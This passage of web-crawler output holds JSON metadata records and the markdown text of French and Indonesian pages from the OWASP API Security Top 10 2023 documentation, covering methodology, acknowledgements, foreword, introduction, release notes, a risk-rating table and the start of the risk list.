"5df45fe4efa35e2b3f7ba150c9dbd836bbaaa985bb4aa9864cbbf22b800d9eee", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.devsecops.org/", "http://devsecops.github.io/", "https://github.com/devsecops/awesome-devsecops", "http://devsecops.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fr/0xd0-about-data/", "titulek": "Méthodologie et données - OWASP API Security Top 10", "h1": "Méthodologie et données", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fr/0xd0-about-data/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Méthodologie et données"}, {"uroven": 2, "text": "Aperçu"}, {"uroven": 2, "text": "Méthodologie"}, {"uroven": 2, "text": "Risques spécifiques aux API"}], "markdown": "# Méthodologie et données\n\n## Aperçu\n\nPour cette mise à jour de la liste, l'équipe OWASP API Security a utilisé la même méthodologie que celle utilisée pour la liste de 2019, qui a été bien adoptée et couronnée de succès, avec l'ajout d'un [Appel à Données](https://owasp.org/www-project-api-security/announcements/cfd/2022/) public de 3 mois. Malheureusement, cet appel à données n'a pas donné lieu à des données qui auraient permis une analyse statistique pertinente des problèmes de sécurité des API les plus courants.\n\nCependant, avec une industrie de la sécurité des API plus mature capable de fournir des retours directs et des informations, le processus de mise à jour a avancé en utilisant la même méthodologie qu'auparavant.\n\nArrivés ici, nous pensons disposer d'un document de sensibilisation prospectif pour les trois ou quatre prochaines années, plus axé sur les problèmes spécifiques aux API modernes. L'objectif de ce projet n'est pas de remplacer d'autres listes de TOP 10, mais plutôt de couvrir les risques de sécurité des API existants et à venir sur lesquels nous pensons que l'industrie devrait être consciente et vigilante.\n\n## Méthodologie\n\nDans la première phase, des données publiques sur les incidents de sécurité des API ont été collectées, examinées et catégorisées. Ces données ont été collectées à partir de plateformes de bug bounty et de rapports disponibles publiquement. Seuls les problèmes signalés entre 2019 et 2022 ont été pris en compte. Ces données ont été utilisées pour donner à l'équipe une idée de la direction dans laquelle le TOP 10 devrait évoluer, ainsi que pour aider à traiter un éventuel biais des données contribuées.\n\nUn [Appel à Données](https://owasp.org/www-project-api-security/announcements/cfd/2022/) public a été lancé du 1er septembre au 30 novembre 2022. En parallèle, l'équipe du projet a commencé à discuter de ce qui a changé depuis 2019. La discussion a porté sur l'impact de la première liste, les retours reçus de la communauté et les nouvelles tendances en matière de sécurité des API.\n\nL'équipe du projet a organisé des réunions avec des spécialistes des menaces de sécurité des API pour obtenir des informations sur la manière dont les victimes sont impactées et sur la manière dont ces menaces peuvent être atténuées.\n\nCet effort a abouti à une première ébauche de ce que l'équipe estime être les dix risques de sécurité des API les plus critiques. La [Méthodologie de Notation des Risques OWASP](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology) a été utilisée pour effectuer l'analyse des risques. Les notations de prévalence ont été décidées à partir d'un consensus entre les membres de l'équipe du projet, sur la base de leur expérience dans le domaine. Pour des considérations sur ces questions, veuillez vous référer à la section [Risques de Sécurité des API](../0x10-api-security-risks/).\n\nLa première ébauche a ensuite été partagée pour examen avec des professionels de la sécurité ayant une expérience dans les domaines de la sécurité des API. Leurs commentaires ont été examinés, discutés et, le cas échéant, inclus dans le document. Le document résultant a été [publié en tant que Candidat à la Publication](https://owasp.org/www-project-api-security/announcements/2023/02/api-top10-2023rc) pour [discussion ouverte](https://github.com/OWASP/API-Security/issues?q=is%3Aissue+label%3A2023RC). Plusieurs [contributions de la communauté](https://github.com/OWASP/API-Security/pulls?q=is%3Apr+label%3A2023RC) ont été incluses dans le document final.\n\nLa liste des contributeurs est disponible dans la section [Remerciements](../0xd1-acknowledgments/).\n\n## Risques spécifiques aux API\n\nLa liste est construite pour aborder les risques de sécurité qui sont plus spécifiques aux API.\n\nCela n'implique pas que d'autres risques de sécurité génériques d'applications n'existent pas dans les applications basées sur des API. Par exemple, nous n'avons pas inclus des risques tels que \"Composants Vulnérables et Obsolètes\" ou \"Injection\", même si vous pourriez les trouver dans des applications basées sur des API. Ces risques sont génériques, ils ne se comportent pas différemment dans les API, leur exploitation n'est pas différente.\n\nNotre objectif est d'augmenter la sensibilisation aux risques de sécurité qui méritent une attention particulière dans les API.", "znaku_textu": 4323, "slov": 635, "odkazu": 64, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:38:47", "sha256": "c71e8a328d86c5c918e469e879e312109364f42c65b171577980df354bb5fbad", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology", "https://github.com/OWASP/API-Security/issues?q=is%3Aissue+label%3A2023RC", "https://github.com/OWASP/API-Security/pulls?q=is%3Apr+label%3A2023RC", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fr/0xd1-acknowledgments/", "titulek": "Remerciements - OWASP API Security Top 10", "h1": "Remerciements", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fr/0xd1-acknowledgments/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Remerciements"}, {"uroven": 2, "text": "Remerciements aux Contributeurs"}], "markdown": "# Remerciements\n\n## Remerciements aux Contributeurs\n\nNous aimerions remercier les contributeurs suivants qui ont contribué publiquement sur GitHub, ou via d'autres moyens :\n\n247arjun, abunuwas, Alissa Knight, Arik Atar, Aurélien Troncy, aymenfurter, Corey J. Ball, cyn8,\nd0znpp, Dan Gordon, donge, Dor Tumarkin, faizzaidi, gavjl, guybensimhon, Inês\nMartins, Isabelle Mauny, Ivan Novikov, jmanico, Juan Pablo, k7jto, LaurentCB,\nllegaz, Maxim Zavodchik, MrPRogers, planetlevel, rahulk22, Roey Eliyahu, Roshan\nPiyush, securitylevelup, sudeshgadewar123, Tatsuya-hasegawa, tebbers, vanderaj,\nwenz, xplo1t-sec, Yaniv Balmas, ynvb", "znaku_textu": 616, "slov": 76, "odkazu": 58, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:06", "sha256": "677c1374721abcd02500b41480649dbf3490dcbc3244b987dcc70324e88b7d1f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/id/0x00-header/", "titulek": "OWASP API Security Top 10", "h1": "", "popis": "OWASP API Security Top 10 edisi 2023", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/id/0x00-header/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "| | | |\n| --- | --- | --- |\n| https://owasp.org | Karya ini dilisensikan di bawah [Creative Commons Attribution-ShareAlike 4.0 International License](http://creativecommons.org/licenses/by-sa/4.0/) | |", "znaku_textu": 165, "slov": 14, "odkazu": 57, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:50", "sha256": "460527bd9a1354d4d3966569af9782cc5881450c796c1e7ed61b11415f894cbd", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "http://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/id/0x00-notice/", "titulek": "Pemberitahuan - OWASP API Security Top 10", "h1": "Pemberitahuan", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/id/0x00-notice/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Pemberitahuan"}], "markdown": "# Pemberitahuan\n\nIni adalah versi teks dari OWASP API Security Top 10, digunakan sebagai sumber untuk semua versi resmi dokumen ini seperti situs web.\n\nKontribusi terhadap proyek seperti komentar, koreksi, atau terjemahan harus dilakukan di sini. Untuk perincian tentang [Cara Berkontribusi](../../../../CONTRIBUTING/), harap mengacu pada [CONTRIBUTING.md](../../../../CONTRIBUTING/).\n\n- Erez Yallon\n- Inon Shkedy\n- Paulo Silva", "znaku_textu": 419, "slov": 50, "odkazu": 56, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:11:04", "sha256": "a2f6de9dd2c708f69dd884ed77dbd5380063f43519e1ed8065409b303d46548f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/id/0x00-toc/", "titulek": "Daftar Isi - OWASP API Security Top 10", "h1": "Daftar Isi", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/id/0x00-toc/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Daftar Isi"}], "markdown": "# Daftar Isi\n\n- [Daftar Isi](./)\n- [Tentang OWASP](../0x01-about-owasp/)\n- [Kata Pengantar](../0x02-foreword/)\n- [Pendahuluan](../0x03-introduction/)\n- [Catatan Rilis](../0x04-release-notes/)\n- [Risiko Keamanan API](../0x10-api-security-risks/)\n- [OWASP Top 10 Risiko Keamanan API - 2023](../0x11-t10/)\n- [API1:2023 Kerusakan Otorisasi Tingkat Obyek](../0xa1-broken-object-level-authorization/)\n- [API2:2023 Kerusakan Otentikasi](../0xa2-broken-authentication/)\n- [API3:2023 Kerusakan Otorisasi Tingkat Properti Obyek](../0xa3-broken-object-property-level-authorization/)\n- [API4:2023 Konsumsi Sumber Daya yang Tidak Dibatasi](../0xa4-unrestricted-resource-consumption/)\n- [API5:2023 Kerusakan Otorisasi Tingkat Fungsi](../0xa5-broken-function-level-authorization/)\n- [API6:2023 Akses Tanpa Batas ke Aliran Bisnis Sensitif](../0xa6-unrestricted-access-to-sensitive-business-flows/)\n- [API7:2023 Pemalsuan Permintaan Sisi Server](../0xa7-server-side-request-forgery/)\n- [API8:2023 Kesalahan Konfigurasi Keamanan](../0xa8-security-misconfiguration/)\n- [API9:2023 Manajemen Inventaris yang Tidak Tepat](../0xa9-improper-inventory-management/)\n- [API10:2023 Konsumsi API yang Tidak Aman](../0xaa-unsafe-consumption-of-apis/)\n- [Apa Selanjutnya untuk Pengembang](../0xb0-next-devs/)\n- [Apa Selanjutnya untuk DevSecOps](../0xb1-next-devsecops/)\n- [Metodologi dan Data](../0xd0-about-data/)\n- [Ucapan Terima Kasih](../0xd1-acknowledgments/)", "znaku_textu": 1407, "slov": 144, "odkazu": 56, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:55:42", "sha256": "16f91d239f0ddb6c3b7935c30d1cc0bc2dc4809007b182e03928fea925648108", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/id/0x01-about-owasp/", "titulek": "Tentang OWASP - OWASP API Security Top 10", "h1": "Tentang OWASP", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/id/0x01-about-owasp/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Tentang OWASP"}, {"uroven": 2, "text": "Hak Cipta dan Lisensi"}], "markdown": "# Tentang OWASP\n\nOpen Worldwide Application Security Project (OWASP) adalah komunitas terbuka yang didedikasikan untuk memungkinkan organisasi mengembangkan, membeli, dan memelihara aplikasi dan API yang dapat dipercaya.\n\nDi OWASP, Anda akan menemukan gratis dan terbuka:\n\n- Alat dan standar keamanan aplikasi.\n- Buku lengkap tentang pengujian keamanan aplikasi, pengembangan kode yang aman, dan tinjauan kode yang aman.\n- Presentasi dan [video](https://www.youtube.com/user/OWASPGLOBAL) .\n- [Cheat sheet](https://cheatsheetseries.owasp.org/) berbagai topik umum.\n- Kendali dan pustaka keamanan standar.\n- [Chapter lokal di seluruh dunia](https://owasp.org/chapters/) .\n- Penelitian mutakhir.\n- [Beragam konferensi di seluruh dunia](https://owasp.org/events/) .\n- [Mailing list](https://groups.google.com/a/owasp.org/forum/#!overview) ( [arsip](https://lists.owasp.org/mailman/listinfo) ).\n\nPelajari lebih lanjut di: [https://www.owasp.org](https://www.owasp.org).\n\nSemua alat, dokumen, video, presentasi, dan chapter OWASP gratis dan terbuka bagi siapa pun yang tertarik dalam meningkatkan keamanan aplikasi.\n\nKami menganjurkan melihat keamanan aplikasi sebagai masalah orang, proses, dan teknologi, karena pendekatan paling efektif terhadap keamanan aplikasi membutuhkan peningkatan di area ini.\n\nOWASP adalah organisasi jenis baru. Kebebasan kami dari tekanan komersial memungkinkan kami untuk memberikan informasi praktis, tidak bias, dan hemat biaya tentang keamanan aplikasi.\n\nOWASP tidak berafiliasi dengan perusahaan teknologi mana pun, meskipun kami mendukung penggunaan teknologi keamanan komersial yang terinformasi. OWASP memproduksi banyak jenis materi dengan cara kolaboratif, transparan, dan terbuka.\n\nYayasan OWASP adalah entitas nirlaba yang memastikan keberhasilan jangka panjang proyek. Hampir semua orang yang terkait dengan OWASP adalah relawan, termasuk dewan OWASP, pemimpin chapter, pemimpin proyek, dan anggota proyek. Kami mendukung penelitian keamanan inovatif dengan hibah dan infrastruktur.\n\nBergabunglah dengan kami!\n\n## Hak Cipta dan Lisensi\n\nHak Cipta © 2003-2023 Yayasan OWASP. Dokumen ini dirilis di bawah [Creative Commons Attribution Share-Alike 4.0 license](http://creativecommons.org/licenses/by-sa/4.0/). Untuk setiap penggunaan kembali atau distribusi, Anda harus menjelaskan kepada orang lain ketentuan lisensi karya ini.", "znaku_textu": 2337, "slov": 270, "odkazu": 65, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:55:46", "sha256": "8fcb4e1188aa59e6ec907fae094e4f3b0704a9e976fa4bd755e6867800da33be", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.youtube.com/user/OWASPGLOBAL", "https://cheatsheetseries.owasp.org/", "https://groups.google.com/a/owasp.org/forum/", "https://lists.owasp.org/mailman/listinfo", "https://www.owasp.org/", "http://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/id/0x02-foreword/", "titulek": "Kata Pengantar - OWASP API Security Top 10", "h1": "Kata Pengantar", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/id/0x02-foreword/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Kata Pengantar"}], "markdown": "# Kata Pengantar\n\nElemen inovasi dasar di dunia yang digerakkan aplikasi hari ini adalah Application Programming Interface (API). Dari bank, ritel, dan transportasi hingga IoT, kendaraan otonom, dan kota pintar, API merupakan bagian penting dari aplikasi seluler, SaaS, dan web aplikasi dan dapat ditemukan dalam aplikasi untuk pelanggan, mitra, dan internal.\n\nBerdasarkan sifatnya, API mengekspos logika aplikasi dan data sensitif seperti Informasi Pribadi yang Dapat Diidentifikasi (PII) dan karena ini, API semakin menjadi target para penyerang. Tanpa API yang aman, inovasi cepat akan menjadi mustahil.\n\nMeskipun masih dapat menggunakan Top 10 risiko keamanan aplikasi web yang lebih luas, namun karena sifat khususnya, dibutuhkan daftar risiko keamanan API yang spesifik. Keamanan API berfokus pada strategi dan solusi untuk memahami dan memitigasi kerentanan unik dan risiko keamanan yang terkait dengan API.\n\nJika Anda sudah akrab dengan [Proyek OWASP Top 10](https://owasp.org/www-project-top-ten/), maka Anda akan melihat kesamaan di antara kedua dokumen: mereka ditujukan agar mudah dibaca dan diadopsi. Jika anda baru mengenal seri OWASP Top 10, anda mungkin lebih baik membaca bagian [Risiko Keamanan API](../0x10-api-security-risks/) dan [Metodologi dan Data](../0xd0-about-data/) sebelum melompat ke daftar Top 10.\n\nAnda dapat berkontribusi pada OWASP API Security Top 10 dengan pertanyaan, komentar, dan ide Anda di repositori proyek GitHub kami:\n\n- https://owasp.org/www-project-api-security/\n- https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md\n\nAnda dapat menemukan OWASP API Security Top 10 di sini:\n\n- https://owasp.org/www-project-api-security/\n- https://github.com/OWASP/API-Security\n\nKami ingin berterima kasih kepada semua kontributor yang membuat proyek ini terwujud dengan upaya dan kontribusi mereka. Mereka semua tercantum di bagian [Ucapan Terima Kasih](../0xd1-acknowledgments/). Terima kasih!", "znaku_textu": 1923, "slov": 258, "odkazu": 57, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:55:50", "sha256": "b1bc2419039f18e9c58d48b659209e370bba9afd10e04611ade3587ef518ff09", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/id/0x03-introduction/", "titulek": "Perkenalan - OWASP API Security Top 10", "h1": "Perkenalan", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/id/0x03-introduction/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Perkenalan"}, {"uroven": 2, "text": "Selamat Datang di OWASP API Security Top 10 - 2023!"}], "markdown": "# Perkenalan\n\n## Selamat Datang di OWASP API Security Top 10 - 2023!\n\nSelamat datang di edisi kedua OWASP API Security Top 10!\n\nDokumen ini pertama kali dipublikasikan pada tahun 2019. Sejak saat itu, industri keamanan API berkembang dan menjadi lebih dewasa. Kami sungguh percaya bahwa usaha ini telah berkontribusi positif terhadap hal itu, karena telah diadopsi secara cepat sebagai referensi industri.\n\nAPI memainkan peranan penting di dalam arsitektur aplikasi modern. Namun karena inovasi memiliki kecepatan yang berbeda dibanding membuat kesadaran keamanan, kami percaya adalah penting untuk fokus menciptakan kesadaran atas kelemahan-kelemahan keamanan API umum.\n\nTujuan utama OWASP API Security Top 10 adalah mendidik mereka yang terlibat dalam pengembangan dan pengelolaan API, sebagai contoh, para pengembang, desainer, arsitek, manajer atau organisasi. Anda dapat mengetahui lebih lanjut tentang API Security\nProject dengan mengunjungi [halaman proyek](https://owasp.org/www-project-api-security/).\n\nJika anda tidak mengenal seri OWASP top 10, kami merekomendasikan anda untuk memeriksa beberapa proyek top 10 berikut ini:\n\n- [OWASP Cloud-Native Application Security Top 10](https://owasp.org/www-project-cloud-native-application-security-top-10/)\n- [OWASP Desktop App Security Top 10](https://owasp.org/www-project-desktop-app-security-top-10/)\n- [OWASP Docker Top 10](https://owasp.org/www-project-docker-top-10/)\n- [OWASP Low-Code/No-Code Top 10](https://owasp.org/www-project-top-10-low-code-no-code-security-risks/)\n- [OWASP Machine Learning Security Top Ten](https://owasp.org/www-project-machine-learning-security-top-10/)\n- [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/)\n- [OWASP TOP 10](https://owasp.org/www-project-top-ten/)\n- [OWASP Top 10 CI/CD Security Risks](https://owasp.org/www-project-top-10-ci-cd-security-risks/)\n- [OWASP Top 10 Client-Side Security Risks](https://owasp.org/www-project-top-10-client-side-security-risks/)\n- [OWASP Top 10 Privacy Risks](https://owasp.org/www-project-top-10-privacy-risks/)\n- [OWASP Serverless Top 10](https://owasp.org/www-project-serverless-top-10/)\n\nTidak ada proyek yang menggantikan satu dengan lainnya: jika anda bekerja dengan aplikasi mobile yang didukung oleh API back-end, anda sebaiknya membaca kedua top 10 yang terkait. Hal yang sama juga berlaku bila anda bekerja dengan aplikasi web atau desktop yang menggunakan API.\n\nDalam bab [Metodologi dan Data](../0xd0-about-data/), anda dapat membaca lebih lanjut bagaimana edisi ini dibuat. Untuk saat ini, kami menganjurkan setiap orang untuk berkontribusi dengan pertanyaan, komentar, dan ide Anda di repositori proyek GitHub kami [repositori GitHub](https://github.com/OWASP/API-Security) or\n[Mailing list](https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project).", "znaku_textu": 2802, "slov": 363, "odkazu": 70, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:55:54", "sha256": "b238fc49d694b200ef6258abd2ae704f3815e3aed69abbe164af882e0cec4211", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://groups.google.com/a/owasp.org/forum/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/id/0x04-release-notes/", "titulek": "Catatan Rilis - OWASP API Security Top 10", "h1": "Catatan Rilis", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/id/0x04-release-notes/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Catatan Rilis"}], "markdown": "# Catatan Rilis\n\nIni adalah edisi kedua OWASP API Security Top 10, tepat empat tahun setelah rilis pertama. Banyak perubahan terjadi dalam area keamanan API. Lalu lintas API meningkat dalam fase yang cepat, beberapa protokol API mendapatkan banyak daya tarik, berbagai solusi/vendor keamanan API telah bermunculan, dan tentu saja, para penyerang telah mengembangkan kemampuan dan teknik baru untuk menyerang API. Sudah saatnya untuk memperbarui daftar sepuluh risiko paling kritis keamanan API.\n\nDengan semakin matangnya industri keamanan API, untuk pertama kalinya, ada [panggilan publik untuk data](https://owasp.org/www-project-api-security/announcements/cfd/2022/). Namun sayangnya, tidak ada data yang dikontribusikan, namun berdasarkan pengalaman tim proyek, tinjauan cermat spesialis keamanan API, dan masukan dari komunitas, kami membuat daftar baru ini. Dalam bagian \n[Metodologi dan Data](../0xd0-about-data/), anda akan menemukan informasi rinci mengenai bagaimana versi ini dikembangkan. Informasi lebih rinci mengenai risiko keamanan silakan mengacu ke bagian\n[Risiko Keamanan API](../0x10-api-security-risks/).\n\nOWASP API Security Top 10 2023 adalah dokumen kesadaran berwawasan ke depan untuk industri yang berkembang cepat. Dokumen ini tidak menggantikan TOP 10 lainnya. Dalam edisi ini:\n\n- Kami telah menggabungkan Paparan Data Berlebihan dan Penugasan Massal dengan berfokus pada akar masalah yang sama: kegagalan validasi otorisasi tingkat properti obyek.\n- Kami lebih menekankan pada konsumsi sumber daya, daripada berfokus pada kecepatan mereka dihabiskan.\n- Kami telah membuat kategori baru \"Akses Tanpa Batas ke Aliran Bisnis Sensitif\" untuk mengatasi ancaman baru, termasuk ancaman yang dapat dimitigasi dengan menggunakan pembatasan.\n- Kami menambahkan \"Konsumsi API yang Tidak Aman\" untuk mengatasi sesuatu hal yang mulai kami jumpai: penyerang telah mulai menyasar layanan integrasi target, alih-alih menyerang API target secara langsung. Saat ini adalah saat yang tepat untuk mulai membuat kesadaran atas meningkatnya risiko ini.\n\nAPI memainkan peranan penting dalam arsitektur mikroservice modern, Single Page Applications (SPA), aplikasi mobile, IoT, dsb. OWASP API Security\nTop 10 adalah upaya yang dibutuhkan untuk menciptakan kesadaran mengenai isu-isu keamanan API modern.\n\nPembaruan ini hanya dimungkinkan berkat usaha besar beberapa sukarelawan yang tercantum dalam bagian [Ucapan Terima Kasih](../0xd1-acknowledgments/) section.\n\nThank you!", "znaku_textu": 2464, "slov": 329, "odkazu": 57, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:57:36", "sha256": "2e4872c6a63a86e0a628161f48f823ef0039887484d4702db894ed89279e8d55", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/id/0x10-api-security-risks/", "titulek": "Risiko Keamanan API - OWASP API Security Top 10", "h1": "Risiko Keamanan API", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/id/0x10-api-security-risks/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Risiko Keamanan API"}, {"uroven": 2, "text": "Referensi"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Eksternal"}], "markdown": "# Risiko Keamanan API\n\n[Metodologi Pemeringkatan Risiko OWASP](https://owasp.org/www-project-risk-assessment-framework/) digunakan untuk melakukan analisis risiko.\n\nTabel berikut merangkum istilah yang diasosiasikan dengan nilai risiko.\n\n| Agen Ancaman | Eksploitasi | Prevalensi Kelemahan | Deteksi Kelemahan | Dampak Teknikal | Dampak Bisnis |\n| --- | --- | --- | --- | --- | --- |\n| Spesifik API | Mudah : **3** | Tersebar luas **3** | Mudah **3** | Severe **3** | Spesifik Bisnis |\n| Spesifik API | Menengah: **2** | Umum **2** | Menengah **2** | Sedang **2** | Spesifik Bisnis |\n| Spesifik API | Sukar: **1** | Sukar **1** | Sukar **1** | Minor **1** | Spesifik Bisnis |\n\n**Catatan**: Pendekatan ini tidak mempertimbangkan kemungkinan agen ancaman, dan juga tidak mempertimbangkan berbagai rincian teknikal yang terkait dengan aplikasi anda. Semua faktor ini dapat secara signifikan mempengaruhi kemungkinan penyerang menemukan dan mengeksploitasi kerentanan tertentu. Pemeringkatan ini tidak mempertimbangkan dampak aktual terhadap bisnis anda. Organisasi anda perlu menentukan tingkat risiko keamanan aplikasi dan API yang dapat diterima berdasarkan budaya, industri, dan lingkungan regulasi anda. OWASP API Security Top\n10 tidak bertujuan melakukan risiko analisis ini untuk anda. Oleh karena edisi ini bukan berdasarkan data, namun berdasarkan konsensus umum di antara anggota tim.\n\n## Referensi\n\n### OWASP\n\n- [Metodologi Pemeringkatan Risiko OWASP](https://owasp.org/www-project-risk-assessment-framework/)\n- [Artikel tentang Pemodelan Ancaman/Risiko](https://owasp.org/www-community/Threat_Modeling)\n\n### Eksternal\n\n- [ISO 31000: Risk Management Std](https://www.iso.org/iso-31000-risk-management.html)\n- [ISO 27001: ISMS](https://www.iso.org/isoiec-27001-information-security.html)\n- [NIST Cyber Framework (US)](https://www.nist.gov/cyberframework)\n- [ASD Strategic Mitigations (AU)](https://www.asd.gov.au/infosec/mitigationstrategies.htm)\n- [NIST CVSS 3.0](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)\n- [Microsoft Threat Modeling Tool](https://www.microsoft.com/en-us/download/details.aspx?id=49168)", "znaku_textu": 1962, "slov": 214, "odkazu": 67, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:58:09", "sha256": "92ae3ad9035b90196339958e207f97869ce3e6c58df565dfa525a8a8cf718945", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.iso.org/iso-31000-risk-management.html", "https://www.iso.org/isoiec-27001-information-security.html", "https://www.nist.gov/cyberframework", "https://www.asd.gov.au/infosec/mitigationstrategies.htm", "https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator", "https://www.microsoft.com/en-us/download/details.aspx?id=49168", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/id/0x11-t10/", "titulek": "OWASP Top 10 Risiko Keamanan API – 2023 - OWASP API Security Top 10", "h1": "OWASP Top 10 Risiko Keamanan API – 2023", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/id/0x11-t10/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Top 10 Risiko Keamanan API – 2023"}], "markdown": "# OWASP Top 10 Risiko Keamanan API – 2023\n\n| Risiko | Keterangan |\n| --- | --- |\n| [API1:2023 - Otorisasi Level Objek yang Rusak](../0xa1-broken-object-level-authorization/) | API cenderung memaparkan titik akhir yang menangani pengenal obyek, hal ini menciptakan sebuah permukaan serangan yang luas atas Kendali Akses Tingkat Obyek. Pemeriksaan otorisasi tingkat obyek perlu 